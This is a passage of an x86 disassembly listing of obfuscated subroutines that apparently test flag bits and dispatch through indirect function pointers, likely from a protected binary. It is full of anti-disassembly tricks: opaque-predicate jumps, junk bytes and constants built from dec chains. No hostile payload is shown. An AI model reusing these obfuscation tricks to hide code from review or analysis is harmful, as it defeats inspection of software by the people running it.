		mov	eax, 80h
		xchg	eax, ecx
		mov	ecx, 41h
		xchg	eax, ecx
		not	eax
		pop	eax
		dec	edi
		not	ecx
		pop	ecx
		inc	dh
		dec	edi
		inc	dh
		and	ebx, 800h
		inc	dh
		dec	edi
		inc	dh
		dec	edi
		inc	dh
		dec	edi
		inc	dh
		dec	edi
		and	ebx, 10h
		inc	dh
		inc	dh
		jo	short loc_49CF19
		jl	short loc_49CF17


loc_49CF14:				; CODE XREF: sub_49CE90:loc_49CF17j
		jmp	short loc_49CF1B
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49CF17:				; CODE XREF: sub_49CE90+82j
		jz	short loc_49CF14


loc_49CF19:				; CODE XREF: sub_49CE90+80j
		jmp	short near ptr loc_49CF75+1
; ---------------------------------------------------------------------------


loc_49CF1B:				; CODE XREF: sub_49CE90:loc_49CF14j
		sub	dh, 0Dh
		dec	dh
		and	ah, dh
		mov	dl, 5
		sub	dl, 0FFh


loc_49CF27:				; CODE XREF: sub_49CE90:loc_49CED3j
		dec	dl
		dec	edi
		dec	dl
		dec	dl
		dec	edi
		sub	dl, 0FFh
		dec	dl
		dec	dl
		dec	dl
		and	al, dl
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3B4
		xor	ecx, dword_4ED3B8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49CF5E
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49CF5E:				; CODE XREF: sub_49CE90+C3j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D0C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49CE90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49CF72	proc near		; DATA XREF: sub_4965D8+1587o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp


loc_49CF75:				; CODE XREF: sub_49CE90:loc_49CF19j
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D98
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	dh, 2
		dec	dh
		dec	dh
		and	ah, dh
		mov	dl, 0Eh
		sub	dl, 0FFh
		jo	short loc_49CFA5
		jl	short loc_49CFA3


loc_49CFA0:				; CODE XREF: sub_49CF72:loc_49CFA3j
					; sub_49CF72:loc_49CFA5j
		jmp	short loc_49CFA7
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_49CFA3:				; CODE XREF: sub_49CF72+2Cj
		jz	short loc_49CFA0


loc_49CFA5:				; CODE XREF: sub_49CF72+2Aj
		jmp	short loc_49CFA0
; ---------------------------------------------------------------------------


loc_49CFA7:				; CODE XREF: sub_49CF72:loc_49CFA0j
		sub	dl, 0FFh
		sub	dl, 0FFh
		sub	dl, 0Ah
		sub	dl, 0FFh
		sub	dl, 0FFh
		sub	dl, 5
		dec	dl
		dec	dl
		dec	dl
		sub	dl, 3
		sub	dl, 0FFh
		dec	dl
		inc	dl
		inc	dl
		inc	dl
		and	al, dl
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3C8
		xor	ecx, dword_4ED3CC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49CFF8
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49CFF8:				; CODE XREF: sub_49CF72+7Bj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D20
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49CF72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49D00C	proc near		; DATA XREF: sub_4965D8+14E8o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D90
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	410h
		pop	ebx
		dec	bh
		dec	bh
		sub	bh, 0FFh
		sub	bh, 2
		dec	bh
		and	ah, bh
		mov	bl, 0Eh
		sub	bl, 4
		dec	bl
		sub	bl, 1
		sub	bl, 1
		sub	bl, 1
		sub	bl, 1
		sub	bl, 1
		and	al, bl
		pop	ebx
		pop	edx
		test	eax, eax
		jz	short loc_49D06B
		not	eax
		add	eax, 1
		stc
		jmp	short loc_49D071
; ---------------------------------------------------------------------------


loc_49D06B:				; CODE XREF: sub_49D00C+55j
		not	eax
		add	eax, 1
		clc


loc_49D071:				; CODE XREF: sub_49D00C+5Dj
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3C0
		xor	ecx, dword_4ED3C4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49D098
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49D098:				; CODE XREF: sub_49D00C+81j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D18
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49D00C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49D0AC	proc near		; DATA XREF: sub_4965D8+1405o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1D80
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		jo	short loc_49D0D1
		jl	short loc_49D0CF


loc_49D0CC:				; CODE XREF: sub_49D0AC:loc_49D0CFj
					; sub_49D0AC:loc_49D0D1j
		jmp	short loc_49D0D3
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_49D0CF:				; CODE XREF: sub_49D0AC+1Ej
		jz	short loc_49D0CC


loc_49D0D1:				; CODE XREF: sub_49D0AC+1Cj
		jmp	short loc_49D0CC
; ---------------------------------------------------------------------------


loc_49D0D3:				; CODE XREF: sub_49D0AC:loc_49D0CCj
		push	ebx
		mov	ebx, 0FFFFh
		and	eax, ebx
		push	ecx
		mov	ch, 2Ch
		sub	ch, 1
		sub	ch, 20h
		dec	ch
		dec	ch
		sub	ch, 4
		dec	ch
		sub	ch, 3
		dec	ch
		and	ah, ch
		mov	cl, 70h
		sub	cl, 2
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 6
		not	al
		bswap	ecx
		not	al
		bswap	ecx
		dec	cl
		dec	cl
		sub	cl, 10h
		dec	cl
		dec	cl
		add	cl, 0Ch
		dec	cl
		dec	cl
		dec	cl
		jo	short loc_49D127
		jl	short loc_49D125


loc_49D122:				; CODE XREF: sub_49D0AC:loc_49D125j
					; sub_49D0AC:loc_49D127j
		jmp	short loc_49D129
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49D125:				; CODE XREF: sub_49D0AC+74j
		jz	short loc_49D122


loc_49D127:				; CODE XREF: sub_49D0AC+72j
		jmp	short loc_49D122
; ---------------------------------------------------------------------------


loc_49D129:				; CODE XREF: sub_49D0AC:loc_49D122j
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		sub	cl, 10h
		sub	cl, 1
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		dec	cl
		not	ecx
		bswap	eax
		not	ecx
		bswap	eax
		inc	cl
		add	cl, 2
		and	al, cl
		mov	eax, eax
		pop	ecx
		pop	ebx
		test	eax, eax
		jnz	loc_49D266
		mov	eax, [ebp+var_4]
		jo	short loc_49D16E
		jl	short loc_49D16C


loc_49D169:				; CODE XREF: sub_49D0AC:loc_49D16Cj
					; sub_49D0AC:loc_49D16Ej
		jmp	short loc_49D170
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_49D16C:				; CODE XREF: sub_49D0AC+BBj
		jz	short loc_49D169


loc_49D16E:				; CODE XREF: sub_49D0AC+B9j
		jmp	short loc_49D169
; ---------------------------------------------------------------------------


loc_49D170:				; CODE XREF: sub_49D0AC:loc_49D169j
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		jo	short loc_49D19F
		jl	short loc_49D19D


loc_49D19A:				; CODE XREF: sub_49D0AC:loc_49D19Dj
					; sub_49D0AC:loc_49D19Fj
		jmp	short loc_49D1A1
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49D19D:				; CODE XREF: sub_49D0AC+ECj
		jz	short loc_49D19A


loc_49D19F:				; CODE XREF: sub_49D0AC+EAj
		jmp	short loc_49D19A
; ---------------------------------------------------------------------------


loc_49D1A1:				; CODE XREF: sub_49D0AC:loc_49D19Aj
		mov	bl, 0C6h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	1Fh
		pop	ebx
		jo	short loc_49D1EE
		jl	short loc_49D1EC


loc_49D1E7:				; CODE XREF: sub_49D0AC:loc_49D1ECj
					; sub_49D0AC:loc_49D1EEj
		jmp	short loc_49D1F0
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49D1EC:				; CODE XREF: sub_49D0AC+139j
		jz	short loc_49D1E7


loc_49D1EE:				; CODE XREF: sub_49D0AC+137j
		jmp	short loc_49D1E7
; ---------------------------------------------------------------------------


loc_49D1F0:				; CODE XREF: sub_49D0AC:loc_49D1E7j
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		jo	short loc_49D203
		jl	short loc_49D201


loc_49D1FE:				; CODE XREF: sub_49D0AC:loc_49D201j
					; sub_49D0AC:loc_49D203j
		jmp	short loc_49D205
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49D201:				; CODE XREF: sub_49D0AC+150j
		jz	short loc_49D1FE


loc_49D203:				; CODE XREF: sub_49D0AC+14Ej
		jmp	short loc_49D1FE
; ---------------------------------------------------------------------------


loc_49D205:				; CODE XREF: sub_49D0AC:loc_49D1FEj
		and	eax, 40h
		dec	bl
		sub	bl, 12h
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 1200h
		dec	dh
		sub	dh, 1
		dec	dh
		sub	dh, 7
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		dec	eax
		jo	short loc_49D239
		jl	short loc_49D237


loc_49D232:				; CODE XREF: sub_49D0AC:loc_49D237j
					; sub_49D0AC:loc_49D239j
		jmp	short loc_49D23B
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49D237:				; CODE XREF: sub_49D0AC+184j
		jz	short loc_49D232


loc_49D239:				; CODE XREF: sub_49D0AC+182j
		jmp	short loc_49D232
; ---------------------------------------------------------------------------


loc_49D23B:				; CODE XREF: sub_49D0AC:loc_49D232j
		inc	eax
		dec	eax
		jo	short loc_49D248
		jl	short loc_49D246


loc_49D241:				; CODE XREF: sub_49D0AC:loc_49D246j
					; sub_49D0AC:loc_49D248j
		jmp	short loc_49D24A
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49D246:				; CODE XREF: sub_49D0AC+193j
		jz	short loc_49D241


loc_49D248:				; CODE XREF: sub_49D0AC+191j
		jmp	short loc_49D241
; ---------------------------------------------------------------------------


loc_49D24A:				; CODE XREF: sub_49D0AC:loc_49D241j
		inc	eax
		dec	eax
		inc	eax
		dec	eax
		jo	short loc_49D259
		jl	short loc_49D257


loc_49D252:				; CODE XREF: sub_49D0AC:loc_49D257j
					; sub_49D0AC:loc_49D259j
		jmp	short loc_49D25B
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49D257:				; CODE XREF: sub_49D0AC+1A4j
		jz	short loc_49D252


loc_49D259:				; CODE XREF: sub_49D0AC+1A2j
		jmp	short loc_49D252
; ---------------------------------------------------------------------------


loc_49D25B:				; CODE XREF: sub_49D0AC:loc_49D252j
		inc	eax
		pop	ecx
		cmp	ecx, eax
		jnz	short loc_49D266
		and	eax, 0
		jmp	short loc_49D26A
; ---------------------------------------------------------------------------


loc_49D266:				; CODE XREF: sub_49D0AC+B0j
					; sub_49D0AC+1B3j
		and	eax, 0
		inc	eax


loc_49D26A:				; CODE XREF: sub_49D0AC+1B8j
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3B0
		xor	ecx, dword_4ED3B4
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49D28D
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49D28D:				; CODE XREF: sub_49D0AC+1D6j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D08
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49D0AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49D2A1	proc near		; DATA XREF: sub_4965D8+19Bo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DB8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		jo	short loc_49D2C6
		jl	short loc_49D2C4


loc_49D2C1:				; CODE XREF: sub_49D2A1:loc_49D2C4j
					; sub_49D2A1:loc_49D2C6j
		jmp	short loc_49D2C8
; ---------------------------------------------------------------------------
		db 8Bh
; ---------------------------------------------------------------------------


loc_49D2C4:				; CODE XREF: sub_49D2A1+1Ej
		jz	short loc_49D2C1


loc_49D2C6:				; CODE XREF: sub_49D2A1+1Cj
		jmp	short loc_49D2C1
; ---------------------------------------------------------------------------


loc_49D2C8:				; CODE XREF: sub_49D2A1:loc_49D2C1j
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		jo	short loc_49D2F7
		jl	short loc_49D2F5


loc_49D2F2:				; CODE XREF: sub_49D2A1:loc_49D2F5j
					; sub_49D2A1:loc_49D2F7j
		jmp	short loc_49D2F9
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_49D2F5:				; CODE XREF: sub_49D2A1+4Fj
		jz	short loc_49D2F2


loc_49D2F7:				; CODE XREF: sub_49D2A1+4Dj
		jmp	short loc_49D2F2
; ---------------------------------------------------------------------------


loc_49D2F9:				; CODE XREF: sub_49D2A1:loc_49D2F2j
		mov	bl, 0C6h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3E8
		xor	ecx, dword_4ED3EC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49D34C
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49D34C:				; CODE XREF: sub_49D2A1+A0j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D40
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49D2A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49D360	proc near		; DATA XREF: sub_4965D8+B9Co

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DEC
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	ebx
		mov	ebx, 800h
		jmp	short loc_49D389
; ---------------------------------------------------------------------------
		mov	ebx, 80h


loc_49D389:				; CODE XREF: sub_49D360+22j
		mov	ebx, 6Eh
		not	ebx
		bswap	eax
		not	ebx
		inc	ebx
		inc	ebx
		dec	ebx
		inc	ebx
		inc	ebx
		inc	ebx
		inc	ebx
		inc	ebx
		add	ebx, 8
		dec	ebx
		push	ecx
		mov	ecx, 5
		add	ebx, ecx
		pop	ecx
		bswap	eax
		jo	short loc_49D3B4
		jl	short loc_49D3B2


loc_49D3AF:				; CODE XREF: sub_49D360:loc_49D3B2j
					; sub_49D360:loc_49D3B4j
		jmp	short loc_49D3B6
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49D3B2:				; CODE XREF: sub_49D360+4Dj
		jz	short loc_49D3AF


loc_49D3B4:				; CODE XREF: sub_49D360+4Bj
		jmp	short loc_49D3AF
; ---------------------------------------------------------------------------


loc_49D3B6:				; CODE XREF: sub_49D360:loc_49D3AFj
		and	eax, ebx
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		push	eax
		mov	eax, [ebp+var_4]
		mov	edx, 0C00h
		dec	dh
		dec	dh
		dec	dh
		sub	dh, 0FFh
		dec	dh
		dec	dh
		and	eax, edx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edx, eax
		pop	eax
		xor	ecx, ecx
		cmp	eax, edx
		jo	short loc_49D3EC
		jl	short loc_49D3EA


loc_49D3E7:				; CODE XREF: sub_49D360:loc_49D3EAj
					; sub_49D360:loc_49D3ECj
		jmp	short loc_49D3EE
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49D3EA:				; CODE XREF: sub_49D360+85j
		jz	short loc_49D3E7


loc_49D3EC:				; CODE XREF: sub_49D360+83j
		jmp	short loc_49D3E7
; ---------------------------------------------------------------------------


loc_49D3EE:				; CODE XREF: sub_49D360:loc_49D3E7j
		jnz	short loc_49D400
		jo	short loc_49D3F9
		jl	short loc_49D3F7


loc_49D3F4:				; CODE XREF: sub_49D360:loc_49D3F7j
					; sub_49D360:loc_49D3F9j
		jmp	short loc_49D3FB
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49D3F7:				; CODE XREF: sub_49D360+92j
		jz	short loc_49D3F4


loc_49D3F9:				; CODE XREF: sub_49D360+90j
		jmp	short loc_49D3F4
; ---------------------------------------------------------------------------


loc_49D3FB:				; CODE XREF: sub_49D360:loc_49D3F4j
		and	eax, 0
		jmp	short loc_49D40F
; ---------------------------------------------------------------------------


loc_49D400:				; CODE XREF: sub_49D360:loc_49D3EEj
		and	eax, 0
		jo	short loc_49D40C
		jl	short loc_49D40A


loc_49D407:				; CODE XREF: sub_49D360:loc_49D40Aj
					; sub_49D360:loc_49D40Cj
		jmp	short loc_49D40E
; ---------------------------------------------------------------------------
		db 0C7h
; ---------------------------------------------------------------------------


loc_49D40A:				; CODE XREF: sub_49D360+A5j
		jz	short loc_49D407


loc_49D40C:				; CODE XREF: sub_49D360+A3j
		jmp	short loc_49D407
; ---------------------------------------------------------------------------


loc_49D40E:				; CODE XREF: sub_49D360:loc_49D407j
		inc	eax


loc_49D40F:				; CODE XREF: sub_49D360+9Ej
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED41C
		xor	ecx, dword_4ED420
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49D432
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49D432:				; CODE XREF: sub_49D360+C7j
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D74
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49D360	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49D446	proc near		; DATA XREF: sub_4965D8+BC9o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DA4
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	0D00h
		pop	ebx
		sub	bh, 3
		dec	bh
		dec	bh
		dec	bh
		push	eax
		dec	bh
		dec	bh
		and	eax, 40h
		dec	bh
		sub	bh, 3
		pop	eax
		dec	bh
		jo	short loc_49D495
		jl	short loc_49D493


loc_49D48E:				; CODE XREF: sub_49D446:loc_49D493j
					; sub_49D446:loc_49D495j
		jmp	short loc_49D497
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49D493:				; CODE XREF: sub_49D446+46j
		jz	short loc_49D48E


loc_49D495:				; CODE XREF: sub_49D446+44j
		jmp	short loc_49D48E
; ---------------------------------------------------------------------------


loc_49D497:				; CODE XREF: sub_49D446:loc_49D48Ej
		and	ah, bh
		mov	edx, 26h
		dec	dl
		dec	dl
		sub	dl, 3
		dec	dl
		sub	dl, 17h
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		dec	dl
		jo	short loc_49D4BF
		jl	short loc_49D4BD


loc_49D4B8:				; CODE XREF: sub_49D446:loc_49D4BDj
					; sub_49D446:loc_49D4BFj
		jmp	short loc_49D4C1
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49D4BD:				; CODE XREF: sub_49D446+70j
		jz	short loc_49D4B8


loc_49D4BF:				; CODE XREF: sub_49D446+6Ej
		jmp	short loc_49D4B8
; ---------------------------------------------------------------------------


loc_49D4C1:				; CODE XREF: sub_49D446:loc_49D4B8j
		and	al, dl
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3D4
		xor	ecx, dword_4ED3D8
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49D4EE
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49D4EE:				; CODE XREF: sub_49D446+9Dj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D2C
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49D446	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49D502	proc near		; DATA XREF: sub_4965D8+5C4o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DB8
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, [ebp+arg_4]
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 86h
		sub	bl, 7
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		sub	bl, 20h
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		test	eax, eax
		jnz	loc_49D620
		pop	ebx
		pop	edx
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 7
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 800h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 98h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 0Ch
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	0Dh
		pop	ebx
		jo	short loc_49D5E5
		jl	short loc_49D5E3


loc_49D5DE:				; CODE XREF: sub_49D502:loc_49D5E3j
					; sub_49D502:loc_49D5E5j
		jmp	short loc_49D5E7
; ---------------------------------------------------------------------------
		movlps	xmm4, qword ptr	[esi]


loc_49D5E3:				; CODE XREF: sub_49D502+DAj
		jz	short loc_49D5DE


loc_49D5E5:				; CODE XREF: sub_49D502+D8j
		jmp	short loc_49D5DE
; ---------------------------------------------------------------------------


loc_49D5E7:				; CODE XREF: sub_49D502:loc_49D5DEj
		sub	bl, 5
		dec	bl
		push	eax
		dec	bl
		dec	bl
		and	eax, 41h
		dec	bl
		sub	bl, 3
		pop	eax
		dec	bl
		and	al, bl
		mov	edx, 2500h
		dec	dh
		sub	dh, 3
		dec	dh
		sub	dh, 18h
		and	ah, dh
		pop	ebx
		pop	edx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	ecx
		cmp	ecx, eax
		jnz	short loc_49D620
		and	eax, 0
		jmp	short loc_49D624
; ---------------------------------------------------------------------------


loc_49D620:				; CODE XREF: sub_49D502+6Aj
					; sub_49D502+117j
		and	eax, 0
		inc	eax


loc_49D624:				; CODE XREF: sub_49D502+11Cj
		mov	[ebp+var_C], eax
		mov	ecx, dword_4ED3E8
		xor	ecx, dword_4ED3EC
		shl	ecx, 1
		mov	[ebp+var_8], ecx
		cmp	[ebp+var_C], 0
		jz	short loc_49D647
		mov	edx, [ebp+var_8]
		or	edx, 1
		mov	[ebp+var_8], edx


loc_49D647:				; CODE XREF: sub_49D502+13Aj
		mov	eax, [ebp+var_8]
		push	eax
		call	off_4F1D40
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_49D502	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_49D65B	proc near		; DATA XREF: sub_4965D8+A75o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		push	eax
		call	off_4F1DB0
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 4
		dec	bh
		dec	bh
		dec	bh
		dec	bh
		and	eax, 80h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 86h
		sub	bl, 5
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 1Ah
		dec	bl
		sub	bl, 1Fh
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		pop	ebx
		pop	edx
		test	eax, eax
		jnz	loc_49D77F
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
		and	eax, edx
		push	ebx
		push	eax
		mov	bh, 1
		dec	bh
		and	eax, 41h
		bswap	ecx
		pop	eax
		bswap	ecx
		and	ah, bh
		mov	bl, 97h
		dec	bl
		dec	bl
		dec	bl
		sub	bl, 0Ch
		not	bx
		bswap	eax
		not	bx
		bswap	eax
		and	al, bl
		mov	eax, eax
		pop	ebx
		neg	eax
		sbb	eax, eax
		inc	eax
		pop	edx
		mov	ecx, eax
		push	ecx
		mov	eax, [ebp+var_4]
		push	edx
		mov	edx, 0FFFFh
